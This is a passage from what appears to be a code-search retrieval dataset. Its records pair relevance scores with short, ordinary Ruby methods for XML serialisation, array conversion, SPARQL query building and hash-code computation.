"text": "def to_xml(options = {})\n options = options.dup\n options[:root] ||= all? { |e| e.is_a?(first.class) && first.class.to_s != \"Hash\" } ? first.class.to_s.underscore.pluralize.tr('/', '-') : \"records\"\n options[:builder] ||= ThreeScale::XML::Builder.new\n options[:skip_types] = true unless options.has_key?(:skip_types)\n\n\n root = options.delete(:root).to_s\n root = root.dasherize if options.delete(:dasherize)\n # children = options.delete(:children)\n children = options.delete(:children) || root.singularize\n\n builder = options[:builder]\n\n attributes = options.delete(:skip_types) ? {} : {:type => \"array\"}\n\n opts = options.merge({ :root => children })\n\n if empty?\n builder.__send__(:method_missing, root, attributes)\n else\n builder.__send__(:method_missing, root, attributes) do |builder|\n each { |value| ActiveSupport::XmlMini.to_tag(children, value, options) }\n yield builder if block_given?\n end\n end\n\n builder.to_xml\n end",
"title": ""
},
{
"docid": "bc5c7c4f8611d8c681fcdb8e5906aa9a",
"score": "0.4706624",
"text": "def xml_args\n [{\"rdf:resource\" => @uri.to_s}]\n end",
"title": ""
},
{
"docid": "f5b7422a4ca8ca5382f1e6541d3fc4ba",
"score": "0.4697316",
"text": "def to_templates\n [to_s]\n end",
"title": ""
},
{
"docid": "e29bc43814d7dbc715c97c571a850821",
"score": "0.4695424",
"text": "def to_array() \n viewable_array = Array.new\n @results.each do |tuple|\n results = tuple.join(\", \")\n viewable_array.push(results)\n end\n return viewable_array\n end",
"title": ""
},
{
"docid": "a6412e1adc7f5ef8de336262e524544e",
"score": "0.46850675",
"text": "def to_xml\n return nil if title.nil? || body.nil?\n\n xml = \"\"\n xml << \"<d:entry id=\\\"#{self.id}\\\" d:title=\\\"#{self.title}\\\">\\n\"\n @index.each do |i|\n xml << \"\\t<d:index d:value=\\\"#{i}\\\" d:title=\\\"#{title}\\\" \"\n xml << \"d:yomi=\\\"#{yomi}\\\"\" if !self.yomi.nil?\n xml << \"/>\\n\"\n end\n xml << \"\\t<div>\\n\"\n xml << \"\\t\\t#{@body}\\n\"\n xml << \"\\t</div>\\n\"\n xml << \"</d:entry>\\n\"\n\n return xml\n end",
"title": ""
},
{
"docid": "f44c298e4c12e2ed3b6809c2b33e6b45",
"score": "0.4683578",
"text": "def to_xml\n a = REXML::Element.new(\"application\")\n a.add_attribute(\"refid\", appDefinition.uri)\n #a.add_element(\"description\").text = description\n\n if @properties.length > 0\n pe = a.add_element(\"properties\")\n @properties.each {|p|\n pe.add_element(p.to_xml)\n }\n end\n\n if @measurements.length > 0\n me = a.add_element(\"measurements\")\n @measurements.each {|m|\n me.add_element(m.to_xml)\n }\n end\n return a\n end",
"title": ""
},
{
"docid": "74d15c90467a25ca9d71546ff77373f4",
"score": "0.46799305",
"text": "def assemble_output(*params)\n output = []\n\n params.each do |index|\n selection = [template[index]].flatten\n\n selection.each do |item|\n output.push(item =~ /^\\s*<!-- @@[A-Z0-9_]+@@ -->\\s*\\r*\\n*$/ ? '' : item)\n end\n end\n\n return output\n end",
"title": ""
},
{
"docid": "fc0ae8a2da423ed7660da9bd57f18474",
"score": "0.4667925",
"text": "def to_xml\n require 'builder' unless defined?(::Builder)\n \n xml = ::Builder::XmlMarkup.new(indent: 2)\n xml.instruct!\n\n format = ->(s) do\n case s\n when RDF::URI\n xml.uri(s.to_s)\n when RDF::Node\n xml.bnode(s.id)\n when RDF::Literal\n if s.datatype?\n xml.literal(s.to_s, \"datatype\" => s.datatype.to_s)\n elsif s.language\n xml.literal(s.to_s, \"xml:lang\" => s.language.to_s)\n else\n xml.literal(s.to_s)\n end\n when RDF::Statement\n xml.triple do\n xml.subject {format.call(s.subject)}\n xml.predicate {format.call(s.predicate)}\n xml.object {format.call(s.object)}\n end\n end\n end\n\n xml.sparql(xmlns: \"http://www.w3.org/2005/sparql-results#\") do\n xml.head do\n variable_names.each do |n|\n xml.variable(name: n)\n end\n end\n xml.results do\n self.each do |solution|\n xml.result do\n variable_names.each do |n|\n s = solution[n]\n next unless s\n xml.binding(name: n) do\n format.call(s)\n end\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "fd4d7a417d4dd3e3793de9d9eb0c697e",
"score": "0.46644413",
"text": "def construct_query_for_pids(pid_array)\n q = pid_array.reject { |x| x.empty? }.map { |pid| raw_query(SOLR_DOCUMENT_ID, pid) }\n\n q.empty? ? \"id:NEVER_USE_THIS_ID\" : q.join(\" OR \".freeze)\n end",
"title": ""
},
{
"docid": "f50b14ce3eefef7fc78b7fc892be82f7",
"score": "0.46605754",
"text": "def to_array\n [@url, @html, @charset]\n end",
"title": ""
},
{
"docid": "40627c3ef473298116e12254335f2b6b",
"score": "0.46506846",
"text": "def data_to_requests(qrs)\n reqs = []\n qrs.each do |qr|\n # Make an attempt to find\n reqs << QualificationRequest.new(\n :subject_id => qr[:SubjectId],\n :test => qr[:Test],\n :type_id => qr[:QualificationTypeId],\n :submit_time => qr[:SubmitTime],\n :request_id => qr[:QualificationRequestId],\n :answer => qr[:Answer])\n end\n return reqs\n end",
"title": ""
},
{
"docid": "5ac444e6b40e8d96b6621a7685428c6b",
"score": "0.46488652",
"text": "def to_js_array(array)\n unless array.nil? || array[0].nil?\n logger.info array.class\n if !array[0].respond_to? 'name'\n formatted = Array(array.to_a).map { |tag| \"'\" + tag + \"'\" }.join(\",\")\n else\n formatted = Array(array.to_a).map { |tag| \"'\" + tag.name + \"'\" }.join(\",\")\n end\n end\n # Take the tag list and put in unique so we dont calculate in the extra tags\n # from others tagging said emote.\n #formatted = self.tags.uniq\n \"[#{formatted}]\"\n end",
"title": ""
},
{
"docid": "e552ec0fd4733f722edf92af9e032f7b",
"score": "0.46328545",
"text": "def array_to_s params\n p = params.inject([]) { |a, v|\n begin\n if not v.instance_of? Pidl::Promise\n a.push(\"\\\"#{v}\\\"\")\n else\n v = v.value\n v = v.nil? ? \"?\" : \"\\\"#{v}\\\"\"\n a.push(v)\n end\n rescue Exception => e\n a.push(\"?\")\n end\n a\n }\n p.size > 0 ? \"[ #{p.join \", \"} ]\" : \"[ ]\"\n end",
"title": ""
},
{
"docid": "46f6ce60fe435cc98eab32f6b153cd7b",
"score": "0.4632271",
"text": "def to_xml(opts={})\n { :name => self.controller_name,\n :parameters => self.queryable_params,\n :identifier => self.xml_identifier\n }.to_xml(opts.merge(:root => \"resource\"))\n end",
"title": ""
},
{
"docid": "45153795752b309d3cff0840f4fbc095",
"score": "0.462964",
"text": "def index\n @queries = Query.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @queries }\n end\n end",
"title": ""
},
{
"docid": "73650d47b1ec532fc7a431546e354fb7",
"score": "0.46291488",
"text": "def to_xml\n db = @local_db || @db || return\n Nokogiri::XML::Builder.new(encoding: \"UTF-8\") do |xml|\n xml.documents do\n xml.parent.add_child db.all.join(\" \")\n end\n end.to_xml\n end",
"title": ""
},
{
"docid": "140b5d40c0d225af198f0419fb41e5cd",
"score": "0.46290842",
"text": "def custom_to_array(xml_doc)\n responses = []\n\n xml_doc.elements.each('//row') do |element|\n response = {}\n element.each do |subs|\n if subs.is_a? REXML::Text\n else\n # TODO: If subs.text is a Boolean string, it doesn't get converted\n # to the actual Boolean. Same if it's an int or empty string.\n response[subs.name.to_sym] = subs.text\n end\n end\n responses << response\n end\n\n responses\n end",
"title": ""
},
{
"docid": "21a51f5fa2ea1a56f836d9ad44d283b1",
"score": "0.46256012",
"text": "def array_to_tags array, tag_name = nil\n Array.wrap(array).flatten.map do |line|\n if tag_name\n content_tag tag_name, line.to_s.html_safe\n else\n line.to_s.html_safe\n end\n end.join.html_safe\n end",
"title": ""
},
{
"docid": "1253161cde61c8b3395ddea6f12fc8d6",
"score": "0.46249878",
"text": "def build_source_array\n @source_array = @survey_version.sources\n @source_array.concat(@survey_version.display_fields.collect {|df| [\"#{df.id},#{df.type}\", df.name + \"(display field)\"]})\n @source_array << [\"#{PageUrl::ID},PageUrl\", PageUrl::DISPLAY_FIELD_HEADER]\n end",
"title": ""
},
{
"docid": "d93421636b90375c85f99c521b2d166d",
"score": "0.4624292",
"text": "def xmlOutputText(xmlContentArr)\n # Header rows\n start = [\n %Q_<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n_,\n %Q_<hmdb xmlns=\"http://www.hmdb.ca\">\\n_\n ]\n # Main content\n content = xmlContentArr.join('')\n # String end\n strEnd = \"</hmdb>\\n\"\n # Return combined string\n return(%Q_#{start.join('')}#{content}#{strEnd}_)\nend",
"title": ""
},
{
"docid": "e925ba03afc6b9fb6be91846c5cc14ca",
"score": "0.4620483",
"text": "def build_queries(genres, artists)\n query = 'https://api.spotify.com/v1/recommendations'\n queries = Array.new\n if genres.size > 0 && artists.size > 0\n genres.each do | genre |\n artists.each do |artist, name|\n queries.push(query+'?seed_genres='+genre+'&seed_artists='+artist)\n end\n end\n elsif genres.size > 0\n genres.each do | genre |\n queries.push(query+'?seed_genres='+genre)\n end\n else\n artists.each do |artist, name|\n queries.push(query+'?seed_artists='+artist)\n end\n end\n return queries\n end",
"title": ""
},
{
"docid": "21d56a86dcb497dddc7d429ca9b374de",
"score": "0.4617272",
"text": "def to_xml(options={})\n ns = options[:namespace] ? options[:namespace] : \"a\"\n\n expressions = \"\"\n self.each do |tuple|\n attr_name = tuple[0]\n operator = tuple[1]\n values = tuple[2].is_a?(Array) ? tuple[2] : [tuple[2]]\n # TODO: Improve type detection\n type = (tuple[3] || values.first.class).to_s.downcase\n type = \"int\" if type == \"fixnum\"\n type = \"boolean\" if [\"trueclass\", \"falseclass\"].include?(type)\n\n expressions << %Q{<#{ns}:ConditionExpression>\n <#{ns}:AttributeName>#{attr_name}</#{ns}:AttributeName>\n <#{ns}:Operator>#{operator}</#{ns}:Operator>\n <#{ns}:Values xmlns:d=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\">\n }\n values.each do |v|\n expressions << %Q{<d:anyType i:type=\"s:#{type}\" xmlns:s=\"http://www.w3.org/2001/XMLSchema\">#{v}</d:anyType>}\n end\n \n expressions << %Q{\n </#{ns}:Values>\n </#{ns}:ConditionExpression>}\n end\n\n %Q{<#{ns}:Criteria>\n <#{ns}:Conditions>\n #{expressions}\n </#{ns}:Conditions>\n <#{ns}:FilterOperator>#{@filter_operator}</#{ns}:FilterOperator>\n </#{ns}:Criteria>}\n end",
"title": ""
},
{
"docid": "70eb23d3eace6ac2f508a6d9d8a55a32",
"score": "0.46148586",
"text": "def _to_xml!(*args)\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"+\n \"#{_to_xml(*args)}\"\n end",
"title": ""
},
{
"docid": "513dbbe16e2d4f0b5b67a5ed175a9907",
"score": "0.46135995",
"text": "def xml_elems(root, elems)\n\t\t\txml = REXML::Element.new(root)\n\t\t\telems.each do |key, val|\n\t\t\t\te = xml.add_element(key)\n\t\t\t\te.text = val\n\t\t\tend\n\t\t\treturn xml.to_s\n\t\tend",
"title": ""
},
{
"docid": "8807d538de40fd99a2fa1dab97e24aed",
"score": "0.4613359",
"text": "def subject_array_to_links array, results = Array.new\n links = format_subject_links(array)\n links.each do |text, terms|\n results << subject_facet_link(tag_value_with_property(text,\"keywords\"), terms)\n end\n return results.join(\"--\")\n end",
"title": ""
},
{
"docid": "c69bed1f5593d51da39ac6729d0c4a7a",
"score": "0.4610258",
"text": "def to_s\n <<RSS\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n <channel>\n <title>#{FEED_TITLE}</title>\n <link>#{FEED_LINK}</link>\n <description>#{FEED_TITLE}</description>\n <pubDate>#{last_update.httpdate}</pubDate>\n <generator>DiffFeed/1.0</generator>\n <language>fr</language>\n\n#{@items.reverse.join}\n </channel>\n</rss>\nRSS\n end",
"title": ""
},
{
"docid": "0448d59bcd73ae4efaba2c07c1e008f6",
"score": "0.4607695",
"text": "def build_all(array_of_attributes)\n array_of_attributes.map do |attributes|\n build(attributes)\n end\n end",
"title": ""
},
{
"docid": "73aac711740935483876507bc5f0f133",
"score": "0.46072784",
"text": "def to_xml\n xml = \"<?xml version='1.0' encoding='ISO-8859-1'?>\\n\"\n xml << \"<\" + @data_type + \">\\n\"\n output_array = @content.transpose\n tags = output_array.first\n data = output_array[1..-1]\n data.each {|values|\n xml << \" <record>\\n\"\n values.each_with_index {|value,i| \n xml << \" <#{tags[i]}>#{value}</#{tags[i]}>\\n\"\n }\n xml << \" </record>\\n\"\n }\n xml << \"</\" + @data_type + \">\"\n xml\n end",
"title": ""
},
{
"docid": "7597ba921c3b659ece6dd3f9437e7197",
"score": "0.4602385",
"text": "def to_xml\n self.class.name == \"TripIt::TpDateTime\" ? xmlstr = \"<DateTime>\" : xmlstr = \"<#{self.class.name.split(\"::\").last}>\"\n self.respond_to?(\"sequence\") ? arr = self.sequence : arr = self.instance_variables\n arr.each do |key|\n next if key == \"@client\" # Skip the OAuth client\n value = self.instance_variable_get(key)\n next if value.nil?\n if value.is_a?(Array)\n next if value.empty?\n # We have an array of objects. First get the type of class\n objectType = value.first.class.name.split(\"::\").last\n # Now get all of the objects' to_xml values \n xmlArr = value.map { |mem| mem.to_xml }\n xmlstr << \"<#{camelize(key[1..-1])}>#{xmlArr}</#{camelize(key[1..-1])}>\"\n elsif value.class.name.split(\"::\").first == \"TripIt\"\n # If it's a single one of our objects, call its to_xml method\n xmlstr << value.to_xml\n elsif key=~/date_/\n xmlstr << TripIt::TpDateTime.new(value).to_xml\n else\n xmlstr << \"<#{key[1..-1]}>#{value}</#{key[1..-1]}>\"\n end\n end\n self.class.name == \"TripIt::TpDateTime\" ? xmlstr << \"</DateTime>\" : xmlstr << \"</#{self.class.name.split(\"::\").last}>\"\n end",
"title": ""
},
{
"docid": "e7bbe051ba53665a3990a010b1ecb0e6",
"score": "0.46019527",
"text": "def construct_query(query)\n qs = translate2sparql(query)\n return qs\n end",
"title": ""
},
{
"docid": "ce488c1458a6a2ef1fe24f9572d9dd01",
"score": "0.45975915",
"text": "def generate_update_xml(objects)\n \txml = Builder::XmlMarkup.new\n objects.each do |o|\n generate_update_object(xml, o)\n end\n xml.xml\n end",
"title": ""
},
{
"docid": "b7ed95520f85b2aec21651a16a2379e4",
"score": "0.45965266",
"text": "def convert_array_to_string_array to_convert \n return \"[\"+\"\\\"#{to_convert.join('\",\"')}\\\"\"+\"]\"\nend",
"title": ""
},
{
"docid": "9bcf015a79cd3c5d8d16d63e432abf49",
"score": "0.45926628",
"text": "def dump\n parsed_array.each_with_object([]) do |item, arr|\n field = item[:name]\n value = \\\n if item[:value].is_a?(Array)\n item[:value].map.with_index do |i, idx|\n case item[:fuzzy][idx]\n when nil\n i\n when :start\n \"*#{i}\"\n when :end\n \"#{i}*\"\n end\n end.join(',')\n else\n case item[:fuzzy]\n when nil\n item[:value]\n when :start\n \"*#{item[:value]}\"\n when :end\n \"#{item[:value]}*\"\n end\n end\n arr << \"#{field}#{item[:op]}#{value}\"\n end.join('&')\n end",
"title": ""
},
{
"docid": "84b8045d6d5b230f4eecdaa8e59c2448",
"score": "0.4588425",
"text": "def extract_resources(selection, include_blank, sparql)\n\n case selection\n when nil # Config parameter not present\n object_resources = extract_resources(\"objects\", include_blank, sparql)\n subject_resources = extract_resources(\"subjects\", include_blank, sparql)\n predicate_resources = extract_resources(\"predicates\", include_blank, sparql)\n return object_resources.concat(subject_resources).concat(predicate_resources).uniq\n when \"objects\"\n query = \"SELECT ?resourceUri WHERE{?s ?p ?resourceUri}\"\n when \"subjects\"\n query = \"SELECT ?resourceUri WHERE{?resourceUri ?p ?o}\"\n when \"predicates\"\n query = \"SELECT ?resourceUri WHERE{?s ?resourceUri ?o}\"\n else\n # Custom query\n query = selection\n end\n sparql.query(query).map{ |sol| sol[:resourceUri] }.reject do |s| # Reject literals\n s.class <= RDF::Literal\n end.select do |s| # Select URIs and blank nodes in case of include_blank\n include_blank || s.class == RDF::URI\n end.uniq\n end",
"title": ""
},
{
"docid": "665d7ab5d1cc30920b507afb0e0d89fc",
"score": "0.45882463",
"text": "def query_to_tags(query)\n result = []\n if query.is_a? Hash\n query.each { |key, value| result << \"#{key}-#{value}\" }\n end\n result.join('_')\n end",
"title": ""
},
{
"docid": "63e195aeadf0fa5b88c05e3ba4dcd1fe",
"score": "0.45844576",
"text": "def entry_to_array\n [q1, q2, q3, q4, q5]\n end",
"title": ""
},
{
"docid": "3f03e7be180ee8c3803cb170d6e361d3",
"score": "0.4582298",
"text": "def items\n\t\t\tresult = []\n\t\t\tmatches.each do |d|\n\t\t\t\th = {}\n\t\t\t\td[:attributes].each do |k,v|\n\t\t\t\t\t# fix _id to id\n\t\t\t\t\tk = \"id\" if k == \"_id\"\n\t\t\t\t\t# convert to hash as sym\n\t\t\t\t\th[k.to_sym] = v\n\t\t\t\tend\n\t\t\t\tresult << h\n\t\t\tend\n\t\t\tresult\n\t\tend",
"title": ""
},
{
"docid": "902cc6978496691ec0f015385017ffe0",
"score": "0.45821273",
"text": "def extended_params_from_array(array)\n array_to_params array, :array_size => (4..5), \n :arguments => [:name, :url, :changes_url, :feed_url],\n :optional_arguments => [:tag]\n end",
"title": ""
},
{
"docid": "ce592a80c1d52941ee6bbbe92b956dfb",
"score": "0.45793125",
"text": "def relations_to_solr doc\n self.repository.sparql(\"SELECT ?relation ?object FROM <#ri> WHERE {\n <#{uri}> ?relation ?object\n}\").each do |row|\n solr_field = \"ri_#{row['relation'].split('#').last}_s\"\n doc[solr_field] ||= []\n doc[solr_field] << row['object']\n end\n end",
"title": ""
},
{
"docid": "9bc7b9363f97dd454f35348d70a66dae",
"score": "0.457719",
"text": "def resources\n xml = @resources_res.get.body\n xml_doc = Nokogiri::XML xml\n nodes = xml_doc.xpath '/prestashop/api/*'\n resources_list = []\n nodes.each{|n| resources_list << n.name.to_sym}\n return resources_list\n end",
"title": ""
},
{
"docid": "f8d133ef0a9eaf41c934b41e18ad8e81",
"score": "0.45685226",
"text": "def translate2sparql(query)\n str = \"\"\n #str << self.declare_prefix() if @prefix_statements.empty? == false\n str << \"SELECT #{query.select_clauses.join(' ')} \"\n str << \"WHERE { #{query.where_clauses.join(' ')}}\"\n return str\n end",
"title": ""
},
{
"docid": "c5cc9dc510b6500fee8047f70a7b641a",
"score": "0.4563664",
"text": "def to_s\n e = Solr::XML::Element.new 'add'\n for doc in @docs\n e.add_element doc\n end\n return e.to_s\n end",
"title": ""
}
] |
50f9f185a7e0a4b735aeced6110bd841
|
Calculates hash code according to all attributes.
|
[
{
"docid": "62b7604676edfcf3b6f9c72275deee1e",
"score": "0.0",
"text": "def hash\n [class_id, object_type, contract, contract_status, contract_status_reason, contract_updated_time, covered_product_line_end_date, device_id, device_type, end_customer, end_user_global_ultimate, is_valid, item_type, maintenance_purchase_order_number, maintenance_sales_order_number, platform_type, product, purchase_order_number, reseller_global_ultimate, sales_order_number, service_description, service_end_date, service_level, service_sku, service_start_date, state_contract, warranty_end_date, warranty_type, registered_device, source].hash\n end",
"title": ""
}
] |
[
{
"docid": "d63333ed15c27e3f7526f0c6f8099546",
"score": "0.7118691",
"text": "def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "23cdf6a080837fbe407633be0799ea0e",
"score": "0.70400536",
"text": "def hash() end",
"title": ""
},
{
"docid": "a9adb83c263470be68691b8fd8be0847",
"score": "0.68960655",
"text": "def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"title": ""
},
{
"docid": "b78a8c3fbbda0dc6b3ed59f810316f24",
"score": "0.67847186",
"text": "def hash(*) end",
"title": ""
},
{
"docid": "48081c7ec008e749812e1497a2130418",
"score": "0.6707762",
"text": "def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"title": ""
},
{
"docid": "25aaa5db4613080c00be30b0e859d322",
"score": "0.670052",
"text": "def hash_code; end",
"title": ""
},
{
"docid": "89218419bda3cc05165bde14b4ceb466",
"score": "0.6688737",
"text": "def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"title": ""
},
{
"docid": "e13866d827f9ff2084223d9ea992ae94",
"score": "0.66705376",
"text": "def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"title": ""
},
{
"docid": "dc1da45ef2bad2e1e1e8ebcbef9688b0",
"score": "0.6489735",
"text": "def hash\n prime = 31\n result = 1\n result = result * prime + (@decision_target == nil ? 0 : @decision_target.hash)\n result = prime * result + (@string_id == nil ? 0 : @string_id.hash)\n result\n end",
"title": ""
},
{
"docid": "69a9eb2e2353c88799859edcad3ee8a0",
"score": "0.6462376",
"text": "def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"title": ""
},
{
"docid": "69a9eb2e2353c88799859edcad3ee8a0",
"score": "0.6462376",
"text": "def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"title": ""
},
{
"docid": "2fe66cff14fdabeab11d6f696606a539",
"score": "0.64444333",
"text": "def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"title": ""
},
{
"docid": "2106c535eff7d8245a704b4e4df9d485",
"score": "0.6413127",
"text": "def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"title": ""
},
{
"docid": "aa2be8e4d7810b0b12442043c8e349a7",
"score": "0.6395483",
"text": "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"title": ""
},
{
"docid": "f0b44237e10f8dae8cf7934053856e18",
"score": "0.63898623",
"text": "def hash\n size.hash ^ rank.hash\n end",
"title": ""
},
{
"docid": "81d7b1300734ea62c374865317a2a1ed",
"score": "0.6372129",
"text": "def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"title": ""
},
{
"docid": "39b15da071a5d18e77c7674f9a946414",
"score": "0.635671",
"text": "def hash\n @hash || calculate_hash!\n end",
"title": ""
},
{
"docid": "c4f3d9d847dcddd0f70c64bb92be8f5d",
"score": "0.63370055",
"text": "def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"title": ""
},
{
"docid": "cda785fc3d38eef82f33e2f0ec937a8e",
"score": "0.62682766",
"text": "def hash\n value = 0\n my_rows = @rows\n r_size = my_rows.size\n for i in 0..r_size-1 do\n a_row = my_rows[i]\n a_size = a_row.size\n for j in 0..a_size-1 do\n value ^= a_row[j].hash\n end\n end\n return value\n end",
"title": ""
},
{
"docid": "da1a6b2b78405eb5e767050dbb44b5d0",
"score": "0.62533766",
"text": "def hash\n id.hash + 32 * bs_request.hash\n end",
"title": ""
},
{
"docid": "982f629f0be1a5c93e6762d3ddcb29b7",
"score": "0.6246914",
"text": "def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"title": ""
},
{
"docid": "828a076fda864406ce785b6b6bb60ad4",
"score": "0.6230963",
"text": "def hash\n type.hash ^ (id.hash >> 1)\n end",
"title": ""
},
{
"docid": "fe60a9eeaac3d0f9e9bf98328f939ff3",
"score": "0.62173444",
"text": "def hash\n [self.class, self.val, self.attribute].hash\n end",
"title": ""
},
{
"docid": "26fab0c477fbf1eaa413cec435e785b2",
"score": "0.6214272",
"text": "def hash\n 0\n end",
"title": ""
},
{
"docid": "53fd2ad583c54c60f8c56f33380b5836",
"score": "0.6214131",
"text": "def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end",
"title": ""
},
{
"docid": "c112d36f6d1e601059e1f655db33afab",
"score": "0.61962456",
"text": "def hash\n self.class.hash ^ key_attributes.hash\n end",
"title": ""
},
{
"docid": "0d90325dff70fd84bfc6bb3fc721bdfb",
"score": "0.619165",
"text": "def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"title": ""
},
{
"docid": "5fff3519c92cdf266a34e4f1ea277e54",
"score": "0.61866295",
"text": "def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"title": ""
},
{
"docid": "7c22507363f5b2e1a25141ebd66bbca8",
"score": "0.6185355",
"text": "def hash() source.hash ^ (target.hash+1); end",
"title": ""
},
{
"docid": "7c22507363f5b2e1a25141ebd66bbca8",
"score": "0.6185355",
"text": "def hash() source.hash ^ (target.hash+1); end",
"title": ""
},
{
"docid": "9b4aee04ecf597cbf4ff188d6c3c83f1",
"score": "0.6153702",
"text": "def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend",
"title": ""
},
{
"docid": "5dda49b13de6e432061cc36723bef20e",
"score": "0.6145376",
"text": "def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"title": ""
},
{
"docid": "ba6eb4a2f60c33124f793a461e468a3f",
"score": "0.6144877",
"text": "def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"title": ""
},
{
"docid": "7f2a507a07a7fc0914a239adf3c44f8d",
"score": "0.6139152",
"text": "def hash_code\n prime = 31\n result = 1\n result = prime * result + x\n result = prime * result + y\n return result;\n end",
"title": ""
},
{
"docid": "694201d911f15f90360617b2b827b8ee",
"score": "0.6128312",
"text": "def hash\n self.class.hash ^ operand.hash\n end",
"title": ""
},
{
"docid": "9d830698d3a23e3f322a9e44798c1628",
"score": "0.61224943",
"text": "def hash!\n\t\t@@email.downcase!\n\t\thash = Digest::MD5.hexdigest(@@email)\n\t\treturn hash\n\tend",
"title": ""
},
{
"docid": "92dd8151bac88ac675fedee8f23f8fcc",
"score": "0.61217207",
"text": "def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"title": ""
},
{
"docid": "6d139977536d8787082439e9986f99ab",
"score": "0.61205214",
"text": "def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end",
"title": ""
},
{
"docid": "d5a298e1bcfbb3e80fbf94f77fdc92ab",
"score": "0.61041045",
"text": "def hash\n @symbols.hash + 37*positive?.hash\n end",
"title": ""
},
{
"docid": "6f3670fd9718b058f48a11b39fa63e8c",
"score": "0.61000645",
"text": "def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60937095",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "7a07da87e8e61ca590133d3a56f216f2",
"score": "0.60931146",
"text": "def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "290ff56835d7c085ebdb8bec8396f3a6",
"score": "0.60811466",
"text": "def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"title": ""
},
{
"docid": "bbd8726b73c9a8f7ff22fa197c97a353",
"score": "0.60500103",
"text": "def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end",
"title": ""
},
{
"docid": "e3298c7541d63056c2e8996ae81ab680",
"score": "0.60322344",
"text": "def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"title": ""
},
{
